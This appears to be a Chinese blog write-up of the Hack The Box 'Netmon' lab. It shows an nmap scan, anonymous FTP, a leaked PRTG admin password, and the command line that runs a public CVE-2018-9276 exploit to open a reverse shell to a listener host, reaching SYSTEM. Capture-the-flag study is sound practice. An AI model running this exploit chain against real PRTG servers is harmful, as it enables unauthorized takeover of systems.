HTB-Netmon-Win-CVE-2018-9276

靶机描述

清单

  • 信息搜集

    • nmap
    • 匿名ftp
    • 获取 .bak (泄露密码)
  • 提权

    • CVE-2018-9276

信息搜集

靶机IP

image-20210218193514788

端口扫描

nmap 10.10.10.152 -A

Not shown: 995 closed ports
PORT    STATE SERVICE      VERSION
21/tcp  open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19  11:18PM                 1024 .rnd
| 02-25-19  09:15PM       <DIR>          inetpub
| 07-16-16  08:18AM       <DIR>          PerfLogs
| 02-25-19  09:56PM       <DIR>          Program Files
| 02-02-19  11:28PM       <DIR>          Program Files (x86)
| 02-03-19  07:08AM       <DIR>          Users
|_02-25-19  10:49PM       <DIR>          Windows
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp  open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

开放21、80端口

21

其中 21 允许匿名登陆

80

搭建了 image-20210218193641706

尝试弱口令无果

ftp

ftp 登陆后再 Public 目录得到 user.txt

image-20210218193823070

由于没有写入权限,所以入口就能尝试 80 了

在一番寻找后再 中得到了 密码

image-20210218194333742

image-20210218194401995

	      <!-- User: prtgadmin -->
	      PrTg@dmin2018

尝试登陆后,发现登陆失败

image-20210218195035062

在看过wp之后,登陆密码居然是 2019 - -、

注: 有空格的目录需要加引号进入

获取 System

在登陆之后得到了版本信息

image-20210218195259820


Installed Version

18.1.37.13946 

github 有相关利用方法

https://github.com/wildkindcc/CVE-2018-9276

git clone https://github.com/wildkindcc/CVE-2018-9276.git

cd CVE-2018-9276

python2 CVE-2018-9276.py -i 10.10.10.152 -p 80 --lhost 10.10.14.30 --lport 2233 --user prtgadmin --password PrTg@dmin2019

得到 Shell

权限为 System

image-20210218195444352

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值